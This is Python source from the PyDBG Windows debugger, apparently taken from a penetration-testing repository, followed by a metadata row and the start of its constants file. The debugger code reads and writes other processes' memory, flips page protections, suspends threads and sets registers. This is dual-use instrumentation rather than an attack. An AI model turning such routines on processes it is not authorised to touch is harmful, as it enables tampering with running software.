INVALID_HANDLE_VALUE: raise pdx("CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, %d" % self.pid, True) # we *must* set the size of the structure prior to using it, otherwise Thread32First() will fail. thread_entry.dwSize = sizeof(thread_entry) if not kernel32.Thread32First(snapshot, byref(thread_entry)): return while 1: if thread_entry.th32OwnerProcessID == self.pid: yield thread_entry if not kernel32.Thread32Next(snapshot, byref(thread_entry)): break # if the above loop is "broken" out of, then this handle leaks. self.close_handle(snapshot) #################################################################################################################### def flip_endian (self, dword): ''' Utility function to flip the endianess a given DWORD into raw bytes. @type dword: DWORD @param dowrd: DWORD whose endianess to flip @rtype: Raw Bytes @return: Converted DWORD in raw bytes. ''' byte1 = chr(dword % 256) dword = dword >> 8 byte2 = chr(dword % 256) dword = dword >> 8 byte3 = chr(dword % 256) dword = dword >> 8 byte4 = chr(dword % 256) return "%c%c%c%c" % (byte1, byte2, byte3, byte4) #################################################################################################################### def flip_endian_dword (self, bytes): ''' Utility function to flip the endianess of a given set of raw bytes into a DWORD. @type bytes: Raw Bytes @param bytes: Raw bytes whose endianess to flip @rtype: DWORD @return: Converted DWORD. ''' return struct.unpack("<L", bytes)[0] #################################################################################################################### def load (self, path_to_file, command_line=None, create_new_console=False, show_window=True): ''' Load the specified executable and optional command line arguments into the debugger. @todo: This routines needs to be further tested ... I nomally just attach. @type path_to_file: String @param path_to_file: Full path to executable to load in debugger @type command_line: String @param command_line: (Optional, def=None) Command line arguments to pass to debuggee @type create_new_console: Boolean @param create_new_console: (Optional, def=False) Create a new console for the debuggee. @type show_window: Boolean @param show_window: (Optional, def=True) Show / hide the debuggee window. @raise pdx: An exception is raised if we are unable to load the specified executable in the debugger. ''' pi = PROCESS_INFORMATION() si = STARTUPINFO() si.cb = sizeof(si) # these flags control the main window display of the debuggee. if not show_window: si.dwFlags = 0x1 si.wShowWindow = 0x0 # CreateProcess() seems to work better with command line arguments when the path_to_file is passed as NULL. if command_line: command_line = path_to_file + " " + command_line path_to_file = 0 if self.follow_forks: creation_flags = DEBUG_PROCESS else: creation_flags = DEBUG_ONLY_THIS_PROCESS if create_new_console: creation_flags |= CREATE_NEW_CONSOLE success = kernel32.CreateProcessA(c_char_p(path_to_file), c_char_p(command_line), 0, 0, 0, creation_flags, 0, 0, byref(si), byref(pi)) if not success: raise pdx("CreateProcess()", True) # allow detaching on systems that support it. try: self.debug_set_process_kill_on_exit(False) except: pass # store the handles we need. self.pid = pi.dwProcessId self.h_process = pi.hProcess # resolve the PEB address. selector_entry = LDT_ENTRY() thread_context = self.get_thread_context(pi.hThread) if not kernel32.GetThreadSelectorEntry(pi.hThread, thread_context.SegFs, byref(selector_entry)): self.win32_error("GetThreadSelectorEntry()") teb = selector_entry.BaseLow teb += (selector_entry.HighWord.Bits.BaseMid << 16) + (selector_entry.HighWord.Bits.BaseHi << 24) # add this TEB to the internal dictionary. self.tebs[pi.dwThreadId] = teb self.peb = self.read_process_memory(teb + 0x30, 4) self.peb = struct.unpack("<L", self.peb)[0] # if the function (CreateProcess) succeeds, be sure to call the CloseHandle function to close the hProcess and # hThread handles when you are finished with them. -bill gates # # we keep the process handle open but don't need the thread handle. self.close_handle(pi.hThread) #################################################################################################################### def open_process (self, pid): ''' Convenience wrapper around OpenProcess(). @type pid: Integer @param pid: Process ID to attach to @raise pdx: An exception is raised on failure. ''' h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, pid) if not h_process: raise pdx("OpenProcess(%d)" % pid, True) return h_process #################################################################################################################### def open_thread (self, thread_id): ''' Convenience wrapper around OpenThread(). @type thread_id: Integer @param thread_id: ID of thread to obtain handle to @raise pdx: An exception is raised on failure. ''' h_thread = kernel32.OpenThread(THREAD_ALL_ACCESS, None, thread_id) if not h_thread: raise pdx("OpenThread(%d)" % thread_id, True) return h_thread #################################################################################################################### def page_guard_clear (self): ''' Clear all debugger-set PAGE_GUARDs from memory. This is useful for suspending memory breakpoints to single step past a REP instruction. @see: page_guard_restore() @rtype: pydbg @return: Self ''' self._guards_active = False for page in self._guarded_pages: # make a best effort, let's not crash on failure though. try: mbi = self.virtual_query(page) self.virtual_protect(mbi.BaseAddress, 1, mbi.Protect & ~PAGE_GUARD) except: pass return self.ret_self() #################################################################################################################### def page_guard_restore (self): ''' Restore all previously cleared debugger-set PAGE_GUARDs from memory. This is useful for suspending memory breakpoints to single step past a REP instruction. @see: page_guard_clear() @rtype: pydbg @return: Self ''' self._guards_active = True for page in self._guarded_pages: # make a best effort, let's not crash on failure though. try: mbi = self.virtual_query(page) self.virtual_protect(mbi.BaseAddress, 1, mbi.Protect | PAGE_GUARD) except: pass return self.ret_self() #################################################################################################################### def process_restore (self): ''' Restore memory / context snapshot of the debuggee. All threads must be suspended before calling this routine. @raise pdx: An exception is raised on failure. @rtype: pydbg @return: Self ''' # fetch the current list of threads. current_thread_list = self.enumerate_threads() # restore the thread context for threads still active. for thread_context in self.memory_snapshot_contexts: if thread_context.thread_id in current_thread_list: self.set_thread_context(thread_context.context, thread_id=thread_context.thread_id) # restore all saved memory blocks. for memory_block in self.memory_snapshot_blocks: try: self.write_process_memory(memory_block.mbi.BaseAddress, memory_block.data, memory_block.mbi.RegionSize) except pdx, x: self._err("-- IGNORING ERROR --") self._err("process_restore: " + x.__str__().rstrip("\r\n")) pass return self.ret_self() #################################################################################################################### def process_snapshot (self): ''' Take memory / context snapshot of the debuggee. All threads must be suspended before calling this routine. @raise pdx: An exception is raised on failure. @rtype: pydbg @return: Self ''' self._log("taking debuggee snapshot") do_not_snapshot = [PAGE_READONLY, PAGE_EXECUTE_READ, PAGE_GUARD, PAGE_NOACCESS] cursor = 0 # reset the internal snapshot data structure lists. self.memory_snapshot_blocks = [] self.memory_snapshot_contexts = [] # enumerate the running threads and save a copy of their contexts. for thread_id in self.enumerate_threads(): context = self.get_thread_context(None, thread_id) self.memory_snapshot_contexts.append(memory_snapshot_context(thread_id, context)) self._log("saving thread context of thread id: %08x" % thread_id) # scan through the entire memory range and save a copy of suitable memory blocks. while cursor < 0xFFFFFFFF: save_block = True try: mbi = self.virtual_query(cursor) except: break # do not snapshot blocks of memory that match the following characteristics. # XXX - might want to drop the MEM_IMAGE check to accomodate for self modifying code. if mbi.State != MEM_COMMIT or mbi.Type == MEM_IMAGE: save_block = False for has_protection in do_not_snapshot: if mbi.Protect & has_protection: save_block = False break if save_block: self._log("Adding %08x +%d to memory snapsnot." % (mbi.BaseAddress, mbi.RegionSize)) # read the raw bytes from the memory block. data = self.read_process_memory(mbi.BaseAddress, mbi.RegionSize) self.memory_snapshot_blocks.append(memory_snapshot_block(mbi, data)) cursor += mbi.RegionSize return self.ret_self() #################################################################################################################### def read (self, address, length): ''' Alias to read_process_memory(). @see: read_process_memory ''' return self.read_process_memory(address, length) #################################################################################################################### def read_msr (self, address): ''' Read data from the specified MSR address. @see: write_msr @type address: DWORD @param address: MSR address to read from. @rtype: tuple @return: (read status, msr structure) ''' msr = SYSDBG_MSR() msr.Address = 0x1D9 msr.Data = 0xFF # must initialize this value. status = ntdll.NtSystemDebugControl(SysDbgReadMsr, byref(msr), sizeof(SYSDBG_MSR), byref(msr), sizeof(SYSDBG_MSR), 0) return (status, msr) #################################################################################################################### def read_process_memory (self, address, length): ''' Read from the debuggee process space. @type address: DWORD @param address: Address to read from. @type length: Integer @param length: Length, in bytes, of data to read. @raise pdx: An exception is raised on failure. @rtype: Raw @return: Read data. ''' data = "" read_buf = create_string_buffer(length) count = c_ulong(0) orig_length = length orig_address = address # ensure we can read from the requested memory space. _address = address _length = length try: old_protect = self.virtual_protect(_address, _length, PAGE_EXECUTE_READWRITE) except: pass while length: if not kernel32.ReadProcessMemory(self.h_process, address, read_buf, length, byref(count)): raise pdx("ReadProcessMemory(%08x, %d, read=%d)" % (address, length, count.value), True) data += read_buf.raw length -= count.value address += count.value # restore the original page permissions on the target memory region. try: self.virtual_protect(_address, _length, old_protect) except: pass return data #################################################################################################################### def resume_all_threads (self): ''' Resume all process threads. @see: suspend_all_threads() @raise pdx: An exception is raised on failure. @rtype: pydbg @return: Self ''' for thread_id in self.enumerate_threads(): self.resume_thread(thread_id) return self.ret_self() #################################################################################################################### def resume_thread (self, thread_id): ''' Resume the specified thread. @type thread_id: DWORD @param thread_id: ID of thread to resume. @raise pdx: An exception is raised on failure. @rtype: pydbg @return: Self ''' self._log("resuming thread: %08x" % thread_id) thread_handle = self.open_thread(thread_id) if kernel32.ResumeThread(thread_handle) == -1: raise pdx("ResumeThread()", True) self.close_handle(thread_handle) return self.ret_self() #################################################################################################################### def ret_self (self): ''' This convenience routine exists for internal functions to call and transparently return the correct version of self. Specifically, an object in normal mode and a moniker when in client/server mode. @return: Client / server safe version of self ''' if self.client_server: return "**SELF**" else: return self #################################################################################################################### def run (self): ''' Alias for debug_event_loop(). @see: debug_event_loop() ''' self.debug_event_loop() #################################################################################################################### def seh_unwind (self, context=None): ''' Unwind the the Structured Exception Handler (SEH) chain of the current or specified thread to the best of our abilities. The SEH chain is a simple singly linked list, the head of which is pointed to by fs:0. In cases where the SEH chain is corrupted and the handler address points to invalid memory, it will be returned as 0xFFFFFFFF. @type context: Context @param context: (Optional) Current thread context to examine @rtype: List of Tuples @return: Naturally ordered list of SEH addresses and handlers. ''' self._log("seh_unwind()") selector_entry = LDT_ENTRY() seh_chain = [] # if the optional current thread context was not supplied, grab it for the current thread. if not context: context = self.context if not kernel32.GetThreadSelectorEntry(self.h_thread, context.SegFs, byref(selector_entry)): self.win32_error("GetThreadSelectorEntry()") fs_base = selector_entry.BaseLow fs_base += (selector_entry.HighWord.Bits.BaseMid << 16) + (selector_entry.HighWord.Bits.BaseHi << 24) # determine the head of the current threads SEH chain. seh_head = self.read_process_memory(fs_base, 4) seh_head = self.flip_endian_dword(seh_head) while seh_head != 0xFFFFFFFF: try: handler = self.read_process_memory(seh_head + 4, 4) handler = self.flip_endian_dword(handler) except: handler = 0xFFFFFFFF try: seh_head = self.read_process_memory(seh_head, 4) seh_head = self.flip_endian_dword(seh_head) except: seh_head = 0xFFFFFFFF seh_chain.append((seh_head, handler)) return seh_chain #################################################################################################################### def set_attr (self, attribute, value): ''' Return the value for the specified class attribute. This routine should be used over directly accessing class member variables for transparent support across local vs. client/server debugger clients. @see: set_attr() @type attribute: String @param attribute: Name of attribute to return. @type value: Mixed @param value: Value to set attribute to. ''' if hasattr(self, attribute): setattr(self, attribute, value) #################################################################################################################### def set_callback (self, exception_code, callback_func): ''' Set a callback for the specified exception (or debug event) code. The prototype of the callback routines is:: func (pydbg): return DBG_CONTINUE # or other continue status You can register callbacks for any exception code or debug event. Look in the source for all event_handler_??? and exception_handler_??? routines to see which ones have internal processing (internal handlers will still pass control to your callback). You can also register a user specified callback that is called on each loop iteration from within debug_event_loop(). The callback code is USER_CALLBACK_DEBUG_EVENT and the function prototype is:: func (pydbg) return DBG_CONTINUE # or other continue status User callbacks do not / should not access debugger or contextual information. @type exception_code: Long @param exception_code: Exception code to establish a callback for @type callback_func: Function @param callback_func: Function to call when specified exception code is caught. ''' self.callbacks[exception_code] = callback_func #################################################################################################################### def set_debugger_active (self, enable): ''' Enable or disable the control flag for the main debug event loop. This is a convenience shortcut over set_attr. @type enable: Boolean @param enable: Flag controlling the main debug event loop. ''' self._log("setting debug event loop flag to %s" % enable) self.debugger_active = enable #################################################################################################################### def set_register (self, register, value): ''' Set the value of a register in the debuggee within the context of the self.h_thread. @type register: Register @param register: One of EAX, EBX, ECX, EDX, ESI, EDI, ESP, EBP, EIP @type value: DWORD @param value: Value to set register to @raise pdx: An exception is raised on failure. @rtype: pydbg @return: Self ''' self._log("setting %s to %08x in thread id %d" % (register, value, self.dbg.dwThreadId)) register = register.upper() if register not in ("EAX", "EBX", "ECX", "EDX", "ESI", "EDI", "ESP", "EBP", "EIP"): raise pdx("invalid register specified") # ensure we have an up to date thread context. context = self.get_thread_context(self.h_thread) if register == "EAX": context.Eax = value elif register == "EBX": context.Ebx = value elif register == "ECX": context.Ecx = value elif register == "EDX": context.Edx = value elif register == "ESI": context.Esi = value elif register == "EDI": context.Edi = value elif register == "ESP": context.Esp = value elif register == "EBP": context.Ebp = value elif register == "EIP": context.Eip = value self.set_thread_context(context) return self.ret_self() #################################################################################################################### def set_thread_context (self, context, thread_handle=None, thread_id=0): ''' Convenience wrapper around SetThreadContext(). Can set a thread context via a handle or thread id. @type thread_handle: HANDLE @param thread_handle: (Optional) Handle of thread to get context of @type context: CONTEXT @param context: Context to apply to specified thread @type thread_id: Integer @param thread_id: (Optional, Def=0) ID of thread to get context of @raise pdx: An exception is raised on failure. @rtype: pydbg @return: Self ''' # if neither a thread handle or thread id were specified, default to the internal one. if not thread_handle and not thread_id: h_thread = self.h_thread # if a thread handle was not specified, get one from the thread id. elif not thread_handle: h_thread = self.open_thread(thread_id) # use the specified thread handle. else: h_thread = thread_handle if not kernel32.SetThreadContext(h_thread, byref(context)): raise pdx("SetThreadContext()", True) # if we had to resolve the thread handle, close it. if not thread_handle and thread_id: self.close_handle(h_thread) return self.ret_self() #################################################################################################################### def sigint_handler (self, signal_number, stack_frame): ''' Interrupt signal handler. We override the default handler to disable the run flag and exit the main debug event loop. @type signal_number: @param signal_number: @type stack_frame: @param stack_frame: ''' self.set_debugger_active(False) #################################################################################################################### def single_step (self, enable, thread_handle=None): ''' Enable or disable single stepping in the specified thread or self.h_thread if a thread handle is not specified. @type enable: Bool @param enable: True to enable single stepping, False to disable @type thread_handle: Handle @param thread_handle: (Optional, Def=None) Handle of thread to put into single step mode @raise pdx: An exception is raised on failure. @rtype: pydbg @return: Self ''' self._log("single_step(%s)" % enable) if not thread_handle: thread_handle = self.h_thread context = self.get_thread_context(thread_handle) if enable: # single step already enabled. if context.EFlags & EFLAGS_TRAP: return self.ret_self() context.EFlags |= EFLAGS_TRAP else: # single step already disabled: if not context.EFlags & EFLAGS_TRAP: return self.ret_self() context.EFlags = context.EFlags & (0xFFFFFFFFFF ^ EFLAGS_TRAP) self.set_thread_context(context, thread_handle=thread_handle) return self.ret_self() #################################################################################################################### def smart_dereference (self, address, print_dots=True, hex_dump=False): ''' "Intelligently" discover data behind an address. The address is dereferenced and explored in search of an ASCII or Unicode string. In the absense of a string the printable characters are returned with non-printables represented as dots (.). The location of the discovered data is returned as well as either "heap", "stack" or the name of the module it lies in (global data). @type address: DWORD @param address: Address to smart dereference @type print_dots: Bool @param print_dots: (Optional, def:True) Controls suppression of dot in place of non-printable @type hex_dump: Bool @param hex_dump: (Optional, def=False) Return a hex dump in the absense of string detection @rtype: String @return: String of data discovered behind dereference. ''' try: mbi = self.virtual_query(address) except: return "N/A" # if the address doesn't point into writable memory (stack or heap), then bail. if not mbi.Protect & PAGE_READWRITE: return "N/A" # if the address does point to writeable memory, ensure it doesn't sit on the PEB or any of the TEBs. if mbi.BaseAddress == self.peb or mbi.BaseAddress in self.tebs.values(): return "N/A" try: explored = self.read_process_memory(address, self.STRING_EXPLORATON_BUF_SIZE) except: return "N/A" # determine if the write-able address sits in the stack range. if self.is_address_on_stack(address): location = "stack" # otherwise it could be in a module's global section or on the heap. else: module = self.addr_to_module(address) if module: location = "%s.data" % module.szModule # if the write-able address is not on the stack or in a module range, then we assume it's on the heap. # we *could* walk the heap structures to determine for sure, but it's a slow method and this process of # elimination works well enough. else: location = "heap" explored_string = self.get_ascii_string(explored) if not explored_string: explored_string = self.get_unicode_string(explored) if not explored_string and hex_dump: explored_string = self.hex_dump(explored) if not explored_string: explored_string = self.get_printable_string(explored, print_dots) if hex_dump: return "%s --> %s" % (explored_string, location) else: return "%s (%s)" % (explored_string, location) #################################################################################################################### def stack_range (self, context=None): ''' Determine the stack range (top and bottom) of the current or specified thread. The desired information is located at offsets 4 and 8 from the Thread Environment Block (TEB), which in turn is pointed to by fs:0. @type context: Context @param context: (Optional) Current thread context to examine @rtype: Mixed @return: List containing (stack_top, stack_bottom) on success, False otherwise. ''' selector_entry = LDT_ENTRY() # if the optional current thread context was not supplied, grab it for the current thread. if not context: context = self.context if not kernel32.GetThreadSelectorEntry(self.h_thread, context.SegFs, byref(selector_entry)): self.win32_error("GetThreadSelectorEntry()") fs_base = selector_entry.BaseLow fs_base += (selector_entry.HighWord.Bits.BaseMid << 16) + (selector_entry.HighWord.Bits.BaseHi << 24) # determine the top and bottom of the debuggee's stack. stack_top = self.read_process_memory(fs_base + 4, 4) stack_bottom = self.read_process_memory(fs_base + 8, 4) stack_top = self.flip_endian_dword(stack_top) stack_bottom = self.flip_endian_dword(stack_bottom) return (stack_top, stack_bottom) #################################################################################################################### def stack_unwind (self, context=None): ''' Unwind the stack to the best of our ability. This function is really only useful if called when EBP is actually used as a frame pointer. If it is otherwise being used as a general purpose register then stack unwinding will fail immediately. @type context: Context @param context: (Optional) Current thread context to examine @rtype: List @return: The current call stack ordered from most recent call backwards. ''' self._log("stack_unwind()") selector_entry = LDT_ENTRY() call_stack = [] # if the optional current thread context was not supplied, grab it for the current thread. if not context: context = self.context # determine the stack top / bottom. (stack_top, stack_bottom) = self.stack_range(context) this_frame = context.Ebp while this_frame > stack_bottom and this_frame < stack_top: # stack frame sanity check: must be DWORD boundary aligned. if this_frame & 3: break try: ret_addr = self.read_process_memory(this_frame + 4, 4) ret_addr = self.flip_endian_dword(ret_addr) except: break # return address sanity check: return address must live on an executable page. try: mbi = self.virtual_query(ret_addr) except: break if mbi.Protect not in (PAGE_EXECUTE, PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE, PAGE_EXECUTE_WRITECOPY): break # add the return address to the call stack. call_stack.append(ret_addr) # follow the frame pointer to the next frame. try: next_frame = self.read_process_memory(this_frame, 4) next_frame = self.flip_endian_dword(next_frame) except: break # stack frame sanity check: new frame must be at a higher address then the previous frame. if next_frame <= this_frame: break this_frame = next_frame return call_stack #################################################################################################################### def suspend_all_threads (self): ''' Suspend all process threads. @see: resume_all_threads() @raise pdx: An exception is raised on failure. @rtype: pydbg @return: Self ''' for thread_id in self.enumerate_threads(): self.suspend_thread(thread_id) return self.ret_self() #################################################################################################################### def suspend_thread (self, thread_id): ''' Suspend the specified thread. @type thread_id: DWORD @param thread_id: ID of thread to suspend @raise pdx: An exception is raised on failure. @rtype: pydbg @return: Self ''' self._log("suspending thread: %08x" % thread_id) thread_handle = self.open_thread(thread_id) if kernel32.SuspendThread(thread_handle) == -1: raise pdx("SuspendThread()", True) self.close_handle(thread_handle) return self.ret_self() #################################################################################################################### def terminate_process (self, exit_code=0, method="terminateprocess"): ''' Terminate the debuggee using the specified method. "terminateprocess": Terminate the debuggee by calling TerminateProcess(debuggee_handle). "exitprocess": Terminate the debuggee by setting its current EIP to ExitProcess(). @type exit_code: Integer @param exit_code: (Optional, def=0) Exit code @type method: String @param method: (Optonal, def="terminateprocess") Termination method. See __doc__ for more info. @raise pdx: An exception is raised on failure. ''' if method.lower().startswith("exitprocess"): self.context.Eip = self.func_resolve_debuggee("kernel32", "ExitProcess") self.set_thread_context(self.context) # fall back to "terminateprocess". else: if not kernel32.TerminateProcess(self.h_process, exit_code): raise pdx("TerminateProcess(%d)" % exit_code, True) #################################################################################################################### def to_binary (self, number, bit_count=32): ''' Convert a number into a binary string. This is an ugly one liner that I ripped off of some site. @see: to_decimal() @type number: Integer @param number: Number to convert to binary string. @type bit_count: Integer @param bit_count: (Optional, Def=32) Number of bits to include in output string. @rtype: String @return: Specified integer as a binary string ''' return "".join(map(lambda x:str((number >> x) & 1), range(bit_count -1, -1, -1))) #################################################################################################################### def to_decimal (self, binary): ''' Convert a binary string into a decimal number. @see: to_binary() @type binary: String @param binary: Binary string to convert to decimal @rtype: Integer @return: Specified binary string as an integer ''' # this is an ugly one liner that I ripped off of some site. #return sum(map(lambda x: int(binary[x]) and 2**(len(binary) - x - 1), range(len(binary)-1, -1, -1))) # this is much cleaner (thanks cody) return int(binary, 2) #################################################################################################################### def virtual_alloc (self, address, size, alloc_type, protection): ''' Convenience wrapper around VirtualAllocEx() @type address: DWORD @param address: Desired starting address of region to allocate, can be None @type size: Integer @param size: Size of memory region to allocate, in bytes @type alloc_type: DWORD @param alloc_type: The type of memory allocation (most often MEM_COMMIT) @type protection: DWORD @param protection: Memory protection to apply to the specified region @raise pdx: An exception is raised on failure. @rtype: DWORD @return: Base address of the allocated region of pages. ''' if address: self._log("VirtualAllocEx(%08x, %d, %08x, %08x)" % (address, size, alloc_type, protection)) else: self._log("VirtualAllocEx(NULL, %d, %08x, %08x)" % (size, alloc_type, protection)) allocated_address = kernel32.VirtualAllocEx(self.h_process, address, size, alloc_type, protection) if not allocated_address: raise pdx("VirtualAllocEx(%08x, %d, %08x, %08x)" % (address, size, alloc_type, protection), True) return allocated_address #################################################################################################################### def virtual_free (self, address, size, free_type): ''' Convenience wrapper around VirtualFreeEx() @type address: DWORD @param address: Pointer to the starting address of the region of memory to be freed @type size: Integer @param size: Size of memory region to free, in bytes @type free_type: DWORD @param free_type: The type of free operation @raise pdx: An exception is raised on failure. ''' self._log("VirtualFreeEx(%08x, %d, %08x)" % (address, size, free_type)) if not kernel32.VirtualFreeEx(self.h_process, address, size, free_type): raise pdx("VirtualFreeEx(%08x, %d, %08x)" % (address, size, free_type), True) #################################################################################################################### def virtual_protect (self, base_address, size, protection): ''' Convenience wrapper around VirtualProtectEx() @type base_address: DWORD @param base_address: Base address of region of pages whose access protection attributes are to be changed @type size: Integer @param size: Size of the region whose access protection attributes are to be changed @type protection: DWORD @param protection: Memory protection to apply to the specified region @raise pdx: An exception is raised on failure. @rtype: DWORD @return: Previous access protection. ''' #self._log("VirtualProtectEx( , 0x%08x, %d, %08x, ,)" % (base_address, size, protection)) old_protect = c_ulong(0) if not kernel32.VirtualProtectEx(self.h_process, base_address, size, protection, byref(old_protect)): raise pdx("VirtualProtectEx(%08x, %d, %08x)" % (base_address, size, protection), True) return old_protect.value #################################################################################################################### def virtual_query (self, address): ''' Convenience wrapper around VirtualQueryEx(). @type address: DWORD @param address: Address to query @raise pdx: An exception is raised on failure. @rtype: MEMORY_BASIC_INFORMATION @return: MEMORY_BASIC_INFORMATION ''' mbi = MEMORY_BASIC_INFORMATION() if kernel32.VirtualQueryEx(self.h_process, address, byref(mbi), sizeof(mbi)) < sizeof(mbi): raise pdx("VirtualQueryEx(%08x)" % address, True) return mbi #################################################################################################################### def win32_error (self, prefix=None): ''' Convenience wrapper around GetLastError() and FormatMessage(). Raises an exception with the relevant error code and formatted message. @type prefix: String @param prefix: (Optional) String to prefix error message with. @raise pdx: An exception is always raised by this routine. ''' error = c_char_p() error_code = kernel32.GetLastError() kernel32.FormatMessageA(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM, None, error_code, 0x00000400, # MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT) byref(error), 0, None) if prefix: error_message = "%s: %s" % (prefix, error.value) else: error_message = "GetLastError(): %s" % error.value raise pdx(error_message, error_code) #################################################################################################################### def write (self, address, data, length=0): ''' Alias to write_process_memory(). @see: write_process_memory ''' return self.write_process_memory(address, data, length) #################################################################################################################### def write_msr (self, address, data): ''' Write data to the specified MSR address. @see: read_msr @type address: DWORD @param address: MSR address to write to. @type data: QWORD @param data: Data to write to MSR address. @rtype: tuple @return: (read status, msr structure) ''' msr = SYSDBG_MSR() msr.Address = address msr.Data = data status = ntdll.NtSystemDebugControl(SysDbgWriteMsr, byref(msr), sizeof(SYSDBG_MSR), 0, 0, 0) return status #################################################################################################################### def write_process_memory (self, address, data, length=0): ''' Write to the debuggee process space. Convenience wrapper around WriteProcessMemory(). This routine will continuously attempt to write the data requested until it is complete. @type address: DWORD @param address: Address to write to @type data: Raw Bytes @param data: Data to write @type length: DWORD @param length: (Optional, Def:len(data)) Length of data, in bytes, to write @raise pdx: An exception is raised on failure. ''' count = c_ulong(0) # if the optional data length parameter was omitted, calculate the length ourselves. if not length: length = len(data) # ensure we can write to the requested memory space. _address = address _length = length try: old_protect = self.virtual_protect(_address, _length, PAGE_EXECUTE_READWRITE) except: pass while length: c_data = c_char_p(data[count.value:]) if not kernel32.WriteProcessMemory(self.h_process, address, c_data, length, byref(count)): raise pdx("WriteProcessMemory(%08x, ..., %d)" % (address, length), True) length -= count.value address += count.value # restore the original page permissions on the target memory region. try: self.virtual_protect(_address, _length, old_protect) except: pass
142,003
Python
.py
2,592
43.86034
138
0.562374
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,891
defines.py
pwnieexpress_raspberry_pwn/src/pentest/voiper/sulley/pydbg/defines.py
# # PyDBG # Copyright (C) 2006 Pedram Amini <pedram.amini@gmail.com> # # $Id: defines.py 193 2007-04-05 13:30:01Z cameron $ # # This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public # License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later # version. # # This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied # warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. # # You should have received a copy of the GNU General Public License along with this program; if not, write to the Free # Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # # # windows_h.py was generated with: # # c:\Python\Lib\site-packages\ctypes\wrap # c:\python\python h2xml.py windows.h -o windows.xml -q -c # c:\python\python xml2py.py windows.xml -s DEBUG_EVENT -s CONTEXT -s MEMORY_BASIC_INFORMATION -s LDT_ENTRY \ # -s PROCESS_INFORMATION -s STARTUPINFO -s SYSTEM_INFO -o windows_h.py # # Then the import of ctypes was changed at the top of the file to utilize my_ctypes, which adds the necessary changes # to support the pickle-ing of our defined data structures and ctype primitives. # ''' @author: Pedram Amini @license: GNU General Public License 2.0 or later @contact: pedram.amini@gmail.com @organization: www.openrce.org ''' from my_ctypes import * from windows_h import * ### ### manually declare entities from Tlhelp32.h since i was unable to import using h2xml.py. ### TH32CS_SNAPHEAPLIST = 0x00000001 TH32CS_SNAPPROCESS = 0x00000002 TH32CS_SNAPTHREAD = 0x00000004 TH32CS_SNAPMODULE = 0x00000008 TH32CS_INHERIT = 0x80000000 TH32CS_SNAPALL = (TH32CS_SNAPHEAPLIST | TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD | TH32CS_SNAPMODULE) class THREADENTRY32(Structure): _fields_ = [ ('dwSize', DWORD), ('cntUsage', DWORD), ('th32ThreadID', DWORD), ('th32OwnerProcessID', DWORD), ('tpBasePri', DWORD), ('tpDeltaPri', DWORD), ('dwFlags', DWORD), ] class PROCESSENTRY32(Structure): _fields_ = [ ('dwSize', DWORD), ('cntUsage', DWORD), ('th32ProcessID', DWORD), ('th32DefaultHeapID', DWORD), ('th32ModuleID', DWORD), ('cntThreads', DWORD), ('th32ParentProcessID', DWORD), ('pcPriClassBase', DWORD), ('dwFlags', DWORD), ('szExeFile', CHAR * 260), ] class MODULEENTRY32(Structure): _fields_ = [ ("dwSize", DWORD), ("th32ModuleID", DWORD), ("th32ProcessID", DWORD), ("GlblcntUsage", DWORD), ("ProccntUsage", DWORD), ("modBaseAddr", DWORD), ("modBaseSize", DWORD), ("hModule", DWORD), ("szModule", CHAR * 256), ("szExePath", CHAR * 260), ] ### ### manually declare various structures as needed. ### class SYSDBG_MSR(Structure): _fields_ = [ ("Address", c_ulong), ("Data", c_ulonglong), ] ### ### manually declare various #define's as needed. ### # debug event codes. EXCEPTION_DEBUG_EVENT = 0x00000001 CREATE_THREAD_DEBUG_EVENT = 0x00000002 CREATE_PROCESS_DEBUG_EVENT = 0x00000003 EXIT_THREAD_DEBUG_EVENT = 0x00000004 EXIT_PROCESS_DEBUG_EVENT = 0x00000005 LOAD_DLL_DEBUG_EVENT = 0x00000006 UNLOAD_DLL_DEBUG_EVENT = 0x00000007 OUTPUT_DEBUG_STRING_EVENT = 0x00000008 RIP_EVENT = 0x00000009 USER_CALLBACK_DEBUG_EVENT = 0xDEADBEEF # added for callback support in debug event loop. # debug exception codes. EXCEPTION_ACCESS_VIOLATION = 0xC0000005 EXCEPTION_BREAKPOINT = 0x80000003 EXCEPTION_GUARD_PAGE = 0x80000001 EXCEPTION_SINGLE_STEP = 0x80000004 # hw breakpoint conditions HW_ACCESS = 0x00000003 HW_EXECUTE = 0x00000000 HW_WRITE = 0x00000001 CONTEXT_CONTROL = 0x00010001 CONTEXT_FULL = 0x00010007 CONTEXT_DEBUG_REGISTERS = 0x00010010 CREATE_NEW_CONSOLE = 0x00000010 DBG_CONTINUE = 0x00010002 DBG_EXCEPTION_NOT_HANDLED = 0x80010001 DBG_EXCEPTION_HANDLED = 0x00010001 DEBUG_PROCESS = 0x00000001 DEBUG_ONLY_THIS_PROCESS = 0x00000002 EFLAGS_RF = 0x00010000 EFLAGS_TRAP = 0x00000100 ERROR_NO_MORE_FILES = 0x00000012 FILE_MAP_READ = 0x00000004 FORMAT_MESSAGE_ALLOCATE_BUFFER = 0x00000100 FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000 INVALID_HANDLE_VALUE = 0xFFFFFFFF MEM_COMMIT = 0x00001000 MEM_DECOMMIT = 0x00004000 MEM_IMAGE = 0x01000000 MEM_RELEASE = 0x00008000 PAGE_NOACCESS = 0x00000001 PAGE_READONLY = 0x00000002 PAGE_READWRITE = 0x00000004 PAGE_WRITECOPY = 0x00000008 PAGE_EXECUTE = 0x00000010 PAGE_EXECUTE_READ = 0x00000020 PAGE_EXECUTE_READWRITE = 0x00000040 PAGE_EXECUTE_WRITECOPY = 0x00000080 PAGE_GUARD = 0x00000100 PAGE_NOCACHE = 0x00000200 PAGE_WRITECOMBINE = 0x00000400 PROCESS_ALL_ACCESS = 0x001F0FFF SE_PRIVILEGE_ENABLED = 0x00000002 